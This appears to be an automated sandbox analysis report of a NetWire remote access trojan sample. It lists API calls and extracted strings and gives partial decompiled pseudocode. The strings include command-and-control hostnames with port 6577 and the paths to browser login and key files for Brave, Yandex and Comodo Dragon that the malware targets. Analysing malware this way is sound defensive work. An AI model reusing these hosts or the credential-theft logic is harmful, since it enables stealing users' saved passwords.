0x0041ca53
0x0041ca5d
0x0041ca68
0x0041ca73
0x0041ca77
0x0041ca7a
0x00000000
0x00000000
0x0041ca80
0x0041ca85
0x0041ca8d
0x0041caba
0x0041caba
0x0041cabf
0x0041cac6
0x0041caca
0x0041cacd
0x0041cae3
0x0041cae6
0x0041cae6
0x0041cae9
0x0041caec
0x0041cb0a
0x0041cb0a
0x0041cb0f
0x0041cb39
0x0041cb39
0x0041cb39
0x0041cb3b
0x0041cb43
0x0041cb46
0x0041cb4b
0x0041cb50
0x0041cb52
0x0041cb7a
0x0041cb7e
0x0041cb82
0x0041cb89
0x0041cb8e
0x0041cb90
0x0041cb95
0x0041cba8
0x0041cbaa
0x0041cbac
0x0041cbb4
0x0041cbbc
0x0041cbc3
0x0041cbc3
0x0041cbaa
0x0041cbd0
0x0041cbd9
0x0041cbdf
0x0041cbf0
0x0041cbf0
0x0041cbf6
0x0041cbfa
0x0041cc05
0x0041cc0d
0x0041cc14
0x0041cc17
0x0041cc1a
0x0041cc1e
0x0041cd83
0x0041cd83
0x0041cd8a
0x0041cd8d
0x00000000
0x0041cc24
0x0041cc36
0x0041cc3a
0x0041cc42
0x0041cc46
0x0041cc4a
0x0041cc90
0x0041cc90
0x0041cc95
0x0041cd00
0x0041cd08
0x0041cdf1
0x0041cdf9
0x0041ce01
0x0041ce01
0x0041ce03
0x0041ce03
0x0041ce0a
0x0041ce0d
0x0041ce10
0x0041ce15
0x00000000
0x00000000
0x0041ce1b
0x0041ce20
0x00000000
0x00000000
0x0041ce2d
0x0041ce39
0x0041ce43
0x0041ce4a
0x0041ce4e
0x0041ce4e
0x0041ce50
0x0041ce52
0x0041ce5f
0x0041ce70
0x0041ce78
0x0041ce80
0x0041ce89
0x0041ce91
0x0041ce9c
0x0041cea4
0x0041ceb3
0x0041cec1
0x0041ced1
0x0041cee1
0x0041ceee
0x0041cef6
0x0041cefa
0x0041cf02
0x0041cf0a
0x0041cf15
0x0041cf1d
0x0041cf28
0x0041cf2f
0x0041cf32
0x0041cf35
0x0041cf38
0x00000000
0x00000000
0x0041cf4e
0x0041cf52
0x0041cf5a
0x0041cf62
0x0041cf6e
0x0041cf76
0x0041cf82
0x0041cf8d
0x0041cf98
0x0041cfa0
0x0041cfa8
0x0041cfb1
0x0041cfbc
0x0041cfc1
0x0041cfc6
0x0041cfc8
0x00000000
0x00000000
0x0041cfd6
0x0041cfd6
0x0041cfd6
0x0041cfd9
0x0041cfdb
0x00000000
0x0041cfde
0x0041cd16
0x0041cd1e
0x0041cd26
0x0041cd2d
0x0041cd38
0x0041cd46
0x0041cd4d
0x0041cd58
0x0041cd60
0x0041cd6b
0x0041cd73
0x0041cd76
0x0041cd7a
0x0041cd7f
0x0041cd81
0x0041cd9c
0x0041cda4
0x0041cda7
0x0041cdb2
0x0041cdb6
0x0041cdbb
0x0041cdbc
0x00000000
0x00000000
0x0041cdcc
0x0041cdd1
0x0041cdd5
0x0041cde7
0x0041cdeb
0x00000000
0x0041cdeb
0x00000000
0x0041cd81
0x0041cc97
0x0041cca2
0x0041ccad
0x0041ccb1
0x0041ccb9
0x0041ccc0
0x0041ccc3
0x0041ccc6
0x0041cccd
0x00000000
0x00000000
0x0041ccd5
0x0041ccdc
0x0041cce0
0x0041cce4
0x0041ccec
0x0041ccf0
0x0041ccf4
0x0041ccf8
0x00000000
0x0041ccf8
0x0041cc53
0x0041cc5a
0x0041cc65
0x0041cc69
0x0041cc70
0x0041cc78
0x0041cc86
0x0041cc8a
0x0041cc8e
0x00000000
0x00000000
0x00000000
0x0041cc8e
0x0041cc1e
0x0041cb54
0x0041cb5b
0x0041cb5f
0x0041cb62
0x00000000
0x0041cb65
0x0041cb11
0x0041cb16
0x00000000
0x00000000
0x0041cb18
0x0041cb20
0x0041cb2b
0x0041cb2e
0x0041cb31
0x0041cb33
0x0041cb35
0x00000000
0x00000000
0x00000000
0x0041cb37
0x0041caf1
0x0041cafa
0x0041caff
0x0041cb01
0x00000000
0x00000000
0x00000000
0x0041cb01
0x0041cacf
0x0041cada
0x0041cadf
0x0041cae1
0x00000000
0x00000000
0x00000000
0x0041cae1
0x0041ca8f
0x0041ca96
0x0041ca9a
0x0041ca9f
0x00000000
0x00000000
0x0041caa5
0x0041caa9
0x00000000
0x00000000
0x0041caab
0x0041cab0
0x00000000
0x00000000
0x0041cab2
0x00000000
0x0041cab2
0x0041c987
0x00000000
0x00000000
0x0041c989
0x0041c92c
0x00000000
0x0041c900

APIs

time.MSVCRT ref: 0041C9C4

Part of subcall function 00415FC6: localtime.MSVCRT ref: 00415FDA

_assert.MSVCRT ref: 0041CBC3

Strings

P, xrefs: 0041CE70
(local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0, xrefs: 0041CBBC
K, xrefs: 0041CE78

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assertlocaltimetime
String ID: (local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0$K$P
API String ID: 239888755-1719531008
Opcode ID: cd97700670ffc604625be893ed21d500fd9a320e9f0d6e3cdad60bc31f370bed
Instruction ID: 8e089169dfaa1868ebee7eec05d644c009e56557b81e72ef4d504278135b65ea
Opcode Fuzzy Hash: cd97700670ffc604625be893ed21d500fd9a320e9f0d6e3cdad60bc31f370bed
Instruction Fuzzy Hash: 9222BF7494D3818FD720CF29C58579BBBE1BF88704F14892EE89887351E7B8E885CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0040E7B0, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 133stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00408042: MultiByteToWideChar.KERNEL32 ref: 00408094
Part of subcall function 00408042: _wfopen.MSVCRT ref: 004080AE
Part of subcall function 00408042: fgetpos.MSVCRT ref: 004080F0
Part of subcall function 00408042: fsetpos.MSVCRT ref: 00408126
Part of subcall function 00408042: malloc.MSVCRT ref: 00408132
Part of subcall function 00408042: fread.MSVCRT ref: 00408152
Part of subcall function 00408042: realloc.MSVCRT ref: 00408168
Part of subcall function 00408042: fclose.MSVCRT ref: 00408174

sprintf.MSVCRT ref: 0040E826
strcmp.MSVCRT ref: 0040E836
strcmp.MSVCRT ref: 0040E84A

Part of subcall function 00407F59: free.MSVCRT ref: 00407F6A

Strings

0x05, xrefs: 0040E83F
0x%02hhX, xrefs: 0040E817
0x0D, xrefs: 0040E82B

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: strcmp$ByteCharMultiWide_wfopenfclosefgetposfreadfreefsetposmallocreallocsprintf
String ID: 0x%02hhX$0x05$0x0D
API String ID: 1330035125-510206825
Opcode ID: 5bfd7d33b9264fe6d59894cbc2c2fbdfd65a3e87ae0f2d51b5c5438627f9c67e
Instruction ID: fdfcf3b1e6d7a29e44e35a9c55760ec6cf89f17ce0171d51df2376aeaa79d3d9
Opcode Fuzzy Hash: 5bfd7d33b9264fe6d59894cbc2c2fbdfd65a3e87ae0f2d51b5c5438627f9c67e
Instruction Fuzzy Hash: D551CDB19093409FC380EF2AC48461ABBF0BF88748F449D2EF4C897251E779D994CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00408C65, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 112COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00408C81
malloc.MSVCRT ref: 00408D36
malloc.MSVCRT ref: 00408D91

Strings

netno.ddns.net:6577;ddns.dbcdubai.com:6577;netsecond.duckdns.org:6577;, xrefs: 00408C90, 00408CC9
:, xrefs: 00408DFB
@, xrefs: 00408DEB

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: malloc
String ID: :$@$netno.ddns.net:6577;ddns.dbcdubai.com:6577;netsecond.duckdns.org:6577;
API String ID: 2803490479-1058800992
Opcode ID: 92bcfbf36f97e7b9ce3a5bb17cc0fb52a2a6fa959f7768e43986a6bb5ba9e5b6
Instruction ID: ef4ad269280774ff2184a95f10acb59d81b6a7d54bd4368cac39de452cc0daf6
Opcode Fuzzy Hash: 92bcfbf36f97e7b9ce3a5bb17cc0fb52a2a6fa959f7768e43986a6bb5ba9e5b6
Instruction Fuzzy Hash: 975128B05087009FD310EF29D58425ABBE0FF88718F41892EF5D887291D7B8958ACF8A

Uniqueness

Uniqueness Score: -1.00%

Function 00401DD8, Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 58
stringCOMMON

Download Yara Rule

C-Code - Quality: 31%

			E00401DD8(void* __ebx, void* __ebp, char* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a716, char _a1232) {
				void* _t23;
				intOrPtr* _t31;

				 *_t31 = 0x414;
				_t23 = malloc(??);
				if(_t23 != 0) {
					 *__esp = __ebx;
					_a16 = 0x204;
					__ebp = __ebp | 0xffffffff;
					_a12 = __eax;
					_a8 = 1;
					_a4 = 7;
					__eax = E004129FB(__eax);
					__eax =  &_a1232;
					 *__esp = __ebx;
					_a16 = 0x1000;
					_a8 = 2;
					_a4 = 7;
					__ebx =  &_a716;
					_a12 = __eax;
					__eax = E004129FB(__eax);
					_t11 =  &(__esi[0x204]); // 0x204
					__eax = _t11;
					__esi[0x40c] = 0;
					strcpy(_t11, __esi) = strcpy(__ebx, __esi);
					__eax = 0;
					__ecx = __ebp;
					asm("repne scasb");
					__ecx =  !__ebp;
					 *((char*)(__esp + __ecx + 0x2ca)) = 0;
					__eax = strcat(__ebx, 0x422a15);
					__eax = E0041E44C(__ecx, __edx, __eax, 6, 0x77);
					__ecx = __ebp;
					__esi[0x408] = __eax;
					__eax = 0;
					asm("repne scasb");
					 !__ebp =  !__ebp - 1;
					__esi[0x410] =  !__ebp - 1;
					_a4 = __esi;
					 *__esp = E00406F83;
					_t23 = E00407F08();
				}
				return _t23;
			}

0x00401dd8
0x00401ddf
0x00401de8
0x00401dee
0x00401df1
0x00401df9
0x00401dfc
0x00401e00
0x00401e0a
0x00401e12
0x00401e17
0x00401e1e
0x00401e21
0x00401e29
0x00401e31
0x00401e39
0x00401e40
0x00401e44
0x00401e49
0x00401e49
0x00401e4f
0x00401e6c
0x00401e71
0x00401e73
0x00401e75
0x00401e79
0x00401e7b
0x00401e8e
0x00401ea6
0x00401eab
0x00401ead
0x00401eb3
0x00401eb5
0x00401eb9
0x00401eba
0x00401ec0
0x00401ec4
0x00401632
0x00401632
0x004023e9

APIs

malloc.MSVCRT ref: 00401DDF
strcpy.MSVCRT ref: 00401E60
strcpy.MSVCRT ref: 00401E6C
strcat.MSVCRT ref: 00401E8E

Part of subcall function 0041E44C: malloc.MSVCRT ref: 0041E48F
Part of subcall function 0041E44C: free.MSVCRT ref: 0041E510

Strings

w, xrefs: 00401E93
.zip, xrefs: 00401E83

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: mallocstrcpy$freestrcat
String ID: .zip$w
API String ID: 50812093-307292267
Opcode ID: 12eced5c5e03f3a4b95ac78e48c1e8d48df6755b0805452f08ce4e9f4e93a691
Instruction ID: b1c1002ecfc918ecf1bb7e30c12c5e9030ce2ae0e5289fadf73960591331f9fa
Opcode Fuzzy Hash: 12eced5c5e03f3a4b95ac78e48c1e8d48df6755b0805452f08ce4e9f4e93a691
Instruction Fuzzy Hash: 3421FCF05087059FD310AF25D18839EBBE0BB84758F11CD2EE4DC87291D7BD84899B4A

Uniqueness

Uniqueness Score: -1.00%

Function 00405328, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89
networkCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00405328(void* __edx, char _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v284;
				char _v286;
				char _v288;
				char _v289;
				char _v293;
				char _v295;
				char _v296;
				char _v297;
				char _v317;
				char _v336;
				char* _v340;
				char* _v344;
				char _v348;
				intOrPtr _v352;
				intOrPtr _v356;
				char _v360;
				char _v361;
				intOrPtr _v380;
				char _v384;
				intOrPtr _v388;
				void* _t53;
				intOrPtr _t56;
				signed int _t57;
				char _t60;
				void* _t61;
				void* _t62;
				char* _t63;
				char* _t64;
				char* _t65;
				intOrPtr* _t67;
				intOrPtr* _t68;

				_t62 = __edx;
				_t60 = _a4;
				_v340 =  &_v288;
				if(E004051B5(_t61, __edx, _a8, _a12) != 0) {
					_t64 =  &_v297;
					E004129E4(_t64, 0, 9);
					_v340 = 2;
					_v297 = 4;
					_v296 = 1;
					_v344 =  &_v286;
					_v348 =  &_v295;
					E00412AA3();
					_t53 = E00412AA3( &_v293,  &_v284, 4);
					_v336 = 0;
					_v340 = 9;
					_v344 = _t64;
					_v348 = _t60;
					_v289 = 0;
					L0041F8FC();
					_t67 =  &_v336 - 0x10;
					if(_t53 != 9) {
						goto L1;
					}
					_t65 =  &_v317;
					_v356 = 4;
					_v360 = 0;
					_t63 =  &_v288;
					 *_t67 = _t65;
					E004129E4();
					_t56 = _t60 + 1;
					_v348 = 0;
					_v352 = 0;
					_v356 = 0;
					_v360 = _t63;
					 *_t67 = _t56;
					_v284 = _t60;
					_v288 = 1;
					L0041F904();
					_t68 = _t67 - 0x14;
					if(_t56 <= 0) {
						goto L1;
					}
					_v380 = _t63;
					_v384 = _t60;
					L0041F94C();
					_push(_t62);
					_push(_t62);
					if(_t56 == 0) {
						goto L1;
					}
					_v380 = 0;
					_v384 = 4;
					_v388 = _t65;
					 *_t68 = _t60;
					L0041F90C();
					if(_t56 != 4) {
						goto L1;
					}
					_t57 = 0;
					if(_v361 == 0) {
						_t57 = 0 | _v360 == 0x0000005a;
					}
					return _t57 & 0x00000001;
				}
				L1:
				return 0;
			}

0x00405328
0x00405335
0x0040533c
0x0040535c
0x00405365
0x0040537c
0x00405385
0x0040538d
0x00405392
0x00405397
0x0040539f
0x004053a2
0x004053be
0x004053c3
0x004053cb
0x004053d3
0x004053d7
0x004053da
0x004053df
0x004053e4
0x004053ea
0x00000000
0x00000000
0x004053f0
0x004053f4
0x004053fc
0x00405404
0x00405408
0x0040540b
0x00405410
0x00405413
0x0040541b
0x00405423
0x0040542b
0x0040542f
0x00405432
0x00405436
0x0040543e
0x00405443
0x00405448
0x00000000
0x00000000
0x0040544e
0x00405452
0x00405455
0x0040545c
0x0040545d
0x0040545e
0x00000000
0x00000000
0x00405464
0x0040546c
0x00405474
0x00405478
0x0040547b
0x00405486
0x00000000
0x00000000
0x0040548c
0x00405493
0x0040549c
0x0040549c
0x00000000
0x0040549f
0x0040535e
0x00000000

APIs

Part of subcall function 004051B5: gethostbyname.WS2_32 ref: 004051C5
Part of subcall function 004051B5: htons.WS2_32 ref: 00405202

send.WS2_32 ref: 004053DF
select.WS2_32 ref: 0040543E
__WSAFDIsSet.WS2_32 ref: 00405455
recv.WS2_32 ref: 0040547B

Strings

Z, xrefs: 00405497

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: gethostbynamehtonsrecvselectsend
String ID: Z
API String ID: 3406712544-1505515367
Opcode ID: 449d4b15f80a29c733a493597063cfde938150944d976ecd7df47141a1def0a6
Instruction ID: 23d78d97f939ce5eec82cec168d6e0a92f1c2ef35d1e3e5c2e22ff38ea37f4dc
Opcode Fuzzy Hash: 449d4b15f80a29c733a493597063cfde938150944d976ecd7df47141a1def0a6
Instruction Fuzzy Hash: 7941D3B0419740AEE750EF25C58439FBBE4EF84748F409C2EF8D897241D3BA85888B57

Uniqueness

Uniqueness Score: -1.00%

Function 004109D8, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00410A0F
RegEnumKeyExA.ADVAPI32 ref: 00410A66
RegCloseKey.ADVAPI32 ref: 00410AC5

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Strings

@, xrefs: 00410A85
@, xrefs: 00410AB1

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseEnumOpen_vsnprintf
String ID: @$@
API String ID: 2247870055-149943524
Opcode ID: 8d498efbd62415471bda5190047cb5f1931c584f14dab4a943159cb9ae31fe5a
Instruction ID: 60464b3a6ff270cdd1110ed30ec9e4aee9a85b9f4642497f56cba53994ffc826
Opcode Fuzzy Hash: 8d498efbd62415471bda5190047cb5f1931c584f14dab4a943159cb9ae31fe5a
Instruction Fuzzy Hash: A321E3B45083019FD310EF6AC18479BBBE4BF98358F40892EE5D893340D7B895898F97

Uniqueness

Uniqueness Score: -1.00%

Function 00406D22, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 50processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32 ref: 00406DD4
CloseHandle.KERNEL32 ref: 00406DE7
CloseHandle.KERNEL32(00000000), ref: 00406DF4

Strings

D, xrefs: 00406D51
D, xrefs: 00406D31

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseHandle$CreateProcess
String ID: D$D
API String ID: 2922976086-143366177
Opcode ID: 210b95e98878966edea71671788c2c7d13693a52d3674cbc12837110b92085ad
Instruction ID: 1d5ca1a389bb095c29e0a852d1ac0a4b0f4293584b711be652509fdf01780871
Opcode Fuzzy Hash: 210b95e98878966edea71671788c2c7d13693a52d3674cbc12837110b92085ad
Instruction Fuzzy Hash: 4311A2B05087409EE710EF25C59875BBBE4BF85708F01881EF5D897291C3BA95898B87

Uniqueness

Uniqueness Score: -1.00%

Function 004089ED, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 40COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00408A77

Part of subcall function 00410803: RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00408A27), ref: 00410830
Part of subcall function 00410803: RegDeleteValueA.ADVAPI32 ref: 0041084B
Part of subcall function 00410803: RegCloseKey.ADVAPI32 ref: 0041085E

Strings

MT_qUDrj\F4Y0W6W85\U4RSWg6\PQ00dR5zd064WR\rQR\, xrefs: 00408A03
SOFTWARE\, xrefs: 00408A84
NetWire, xrefs: 00408A7C
MT_qUDrj\F4Y0W6W85\DY542d Md5Qs\XR65CiidS PWlsWRdR56, xrefs: 00408A37

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseDeleteOpenValuefclose
String ID: MT_qUDrj\F4Y0W6W85\DY542d Md5Qs\XR65CiidS PWlsWRdR56$MT_qUDrj\F4Y0W6W85\U4RSWg6\PQ00dR5zd064WR\rQR\$NetWire$SOFTWARE\
API String ID: 3171391837-126448098
Opcode ID: e80744430c769008ed9aa6cab13524ccc618e940c92f136a1cd14b05883cfc76
Instruction ID: bb4ce6ad198e61c342c208a9868e2ee3a63cf1cfb8a338f91740164746fe8c6d
Opcode Fuzzy Hash: e80744430c769008ed9aa6cab13524ccc618e940c92f136a1cd14b05883cfc76
Instruction Fuzzy Hash: 1101B7B06087119AD700BF65D64526DBBE0AF40348F81C82FE4C86B286DBBD8485DB5F

Uniqueness

Uniqueness Score: -1.00%

Function 0040F483, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F49D

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

getenv.MSVCRT ref: 0040F4C5

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Strings

LOCALAPPDATA, xrefs: 0040F48F, 0040F4BE
%s\Comodo\Dragon\User Data\Default\Login Data, xrefs: 0040F4A2
%s\Comodo\Dragon\User Data\Local State, xrefs: 0040F4CA

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: getenv$AttributesByteCharFileMultiWide_vsnprintf
String ID: %s\Comodo\Dragon\User Data\Default\Login Data$%s\Comodo\Dragon\User Data\Local State$LOCALAPPDATA
API String ID: 2228561779-3697102118
Opcode ID: 809e396fd2eab3f384f240020dfbce2e1602ed8e0f4d2e0b249a73290c3eb897
Instruction ID: d845c7456769ba672d696a4f857c2cede61afe7a33709c8199a018e4a54c7ca9
Opcode Fuzzy Hash: 809e396fd2eab3f384f240020dfbce2e1602ed8e0f4d2e0b249a73290c3eb897
Instruction Fuzzy Hash: 4B011AB4408311AAC720BF26E54515EBFE0EF90798F51C83EE4D85B282C37C9599CB4B

Uniqueness

Uniqueness Score: -1.00%

Function 0040F584, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F59E

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

getenv.MSVCRT ref: 0040F5C6

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Strings

%s\Yandex\YandexBrowser\User Data\Default\Login Data, xrefs: 0040F5A3
LOCALAPPDATA, xrefs: 0040F590, 0040F5BF
%s\Yandex\YandexBrowser\User Data\Local State, xrefs: 0040F5CB

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: getenv$AttributesByteCharFileMultiWide_vsnprintf
String ID: %s\Yandex\YandexBrowser\User Data\Default\Login Data$%s\Yandex\YandexBrowser\User Data\Local State$LOCALAPPDATA
API String ID: 2228561779-3489194376
Opcode ID: 68b987b7df37829b9a00a3fc2ae6c69fefa8b54b0ffe266c0bd912540733622b
Instruction ID: 72942ae6a08e2cc9bbddce61338429521d73e105c6a9dac996e77309fd9095c7
Opcode Fuzzy Hash: 68b987b7df37829b9a00a3fc2ae6c69fefa8b54b0ffe266c0bd912540733622b
Instruction Fuzzy Hash: D7011AB0508351AAD710BF22E54515EBFE0AF81358F51C83EE0D86B282C37C8599CB4B

Uniqueness

Uniqueness Score: -1.00%

Function 0040F67B, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F695

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

getenv.MSVCRT ref: 0040F6BD

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Strings

%s\BraveSoftware\Brave-Browser\User Data\Default\Login Data, xrefs: 0040F69A
LOCALAPPDATA, xrefs: 0040F687, 0040F6B6
%s\BraveSoftware\Brave-Browser\User Data\Local State, xrefs: 0040F6C2

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: getenv$AttributesByteCharFileMultiWide_vsnprintf
String ID: %s\BraveSoftware\Brave-Browser\User Data\Default\Login Data$%s\BraveSoftware\Brave-Browser\User Data\Local State$LOCALAPPDATA
API String ID: 2228561779-980708636
Opcode ID: fc2a22fba373fe480af829fa4f93533cae9eeeedbb52cd41ca872e91a74e92ad
Instruction ID: 8d0cb0fe6a7d44374a24ae0aebfd5b8dc36573b7fc8ec9374f5f00733d0f5b09
Opcode Fuzzy Hash: fc2a22fba373fe480af829fa4f93533cae9eeeedbb52cd41ca872e91a74e92ad
Instruction Fuzzy Hash: DF0108B5408311AAC720BF62E44515EBBE0AF80398F41C83EE4D867282C77C859ACB4B

Uniqueness

Uniqueness Score: -1.00%

Function 00407E8C, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 28fileCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 00407E9F
fread.MSVCRT ref: 00407EC7
fclose.MSVCRT ref: 00407ED4
fclose.MSVCRT ref: 00407EDD

Strings

MZ, xrefs: 00407EE2

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: fclose$fopenfread
String ID: MZ
API String ID: 3873288765-2410715997
Opcode ID: d06aedc7c9e3b3293a92e1f957aa7035d759f161265d28a36525d5ec09abe733
Instruction ID: ae9e81fbcb7ca7b9316dc1c6fd5e5dd7cb62ebbbae1f2b5c39490275c7812f42
Opcode Fuzzy Hash: d06aedc7c9e3b3293a92e1f957aa7035d759f161265d28a36525d5ec09abe733
Instruction Fuzzy Hash: 81F0FEB55097419BDB00FFA6C5C515EB6E4AB44304F508C3EE49497281D778D8898B5B

Uniqueness

Uniqueness Score: -1.00%

Function 0040E9B6, Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strncpy.MSVCRT ref: 0040EB64
strcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0040EB74
strcmp.MSVCRT ref: 0040EB80

Strings

0, xrefs: 0040ED3C
v10, xrefs: 0040EB69

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: strcmpstrcpystrncpy
String ID: 0$v10
API String ID: 2448526034-4171977742
Opcode ID: 462bf65ad2594f2168f17dfdeb5058b5c81af0c365ae975b7d05b17481ebe7e2
Instruction ID: 1815abc7d942603e6bf714ecb897f5d3e1623bfaa8687e7908f6a9e0f2ae8c78
Opcode Fuzzy Hash: 462bf65ad2594f2168f17dfdeb5058b5c81af0c365ae975b7d05b17481ebe7e2
Instruction Fuzzy Hash: 63B1BBB45093459FC750EF29C18469FBBE0FF88348F408D2EE4D897291E7B9D9898B46

Uniqueness

Uniqueness Score: -1.00%

Function 00408C65, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00408C81
malloc.MSVCRT ref: 00408D36
malloc.MSVCRT ref: 00408D91

Strings

@, xrefs: 00408DEB
:, xrefs: 00408DFB

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: malloc
String ID: :$@
API String ID: 2803490479-1367939426
Opcode ID: 92bcfbf36f97e7b9ce3a5bb17cc0fb52a2a6fa959f7768e43986a6bb5ba9e5b6
Instruction ID: ef4ad269280774ff2184a95f10acb59d81b6a7d54bd4368cac39de452cc0daf6
Opcode Fuzzy Hash: 92bcfbf36f97e7b9ce3a5bb17cc0fb52a2a6fa959f7768e43986a6bb5ba9e5b6
Instruction Fuzzy Hash: 975128B05087009FD310EF29D58425ABBE0FF88718F41892EF5D887291D7B8958ACF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0040567B, Relevance: 7.6, APIs: 5, Instructions: 98networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 004056B5
recv.WS2_32 ref: 00405703
htons.WS2_32 ref: 00405774
send.WS2_32 ref: 004057B1
recv.WS2_32 ref: 004057DB

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: recvsend$htons
String ID:
API String ID: 2448738288-0
Opcode ID: 13adfa5ec2ebdb7ed79ded53f4b099e9918976a4c5f06ce693c8d3bcc2d3ec54
Instruction ID: a3ad6d79acf2e53900b9dd159f4be09f546f61b4e8b2614ee158af40ae1285e8
Opcode Fuzzy Hash: 13adfa5ec2ebdb7ed79ded53f4b099e9918976a4c5f06ce693c8d3bcc2d3ec54
Instruction Fuzzy Hash: 8A410BB141C7819AD710AF25C54939FBFE0AF94308F458D2EE4D897282D3B99688CF97

Uniqueness

Uniqueness Score: -1.00%

Function 00410520, Relevance: 7.6, APIs: 5, Instructions: 61registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00410558
RegQueryValueExA.ADVAPI32 ref: 00410596
malloc.MSVCRT ref: 004105A9
